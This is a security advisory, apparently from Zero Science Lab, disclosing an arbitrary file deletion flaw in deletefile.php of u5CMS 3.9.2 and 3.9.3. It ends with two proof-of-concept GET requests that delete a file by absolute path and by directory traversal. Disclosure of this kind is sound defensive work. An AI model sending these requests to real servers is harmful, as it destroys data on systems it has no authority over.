41 lines
No EOL
1.2 KiB
Text
41 lines
No EOL
1.2 KiB
Text
|
|
u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability
|
|
|
|
|
|
Vendor: Stefan P. Minder
|
|
Product web page: http://www.yuba.ch
|
|
Affected version: 3.9.3 and 3.9.2
|
|
|
|
Summary: u5CMS is a little, handy Content Management System for medium-sized
|
|
websites, conference / congress / submission administration, review processes,
|
|
personalized serial mails, PayPal payments and online surveys based on PHP and
|
|
MySQL and Apache.
|
|
|
|
Desc: Input passed to the 'f' parameter in 'deletefile.php' is not properly
|
|
sanitised before being used to delete files. This can be exploited to delete
|
|
files with the permissions of the web server using their absolute path or via
|
|
directory traversal sequences passed within the affected GET parameter.
|
|
|
|
Tested on: Apache 2.4.10 (Win32)
|
|
PHP 5.6.3
|
|
MySQL 5.6.21
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2015-5226
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5226.php
|
|
|
|
|
|
29.12.2014
|
|
|
|
---
|
|
|
|
|
|
Target: C:\deleteme.txt
|
|
-----------------------
|
|
|
|
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=/deleteme.txt HTTP/1.1
|
|
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../../../../../../deleteme.txt HTTP/1.1 |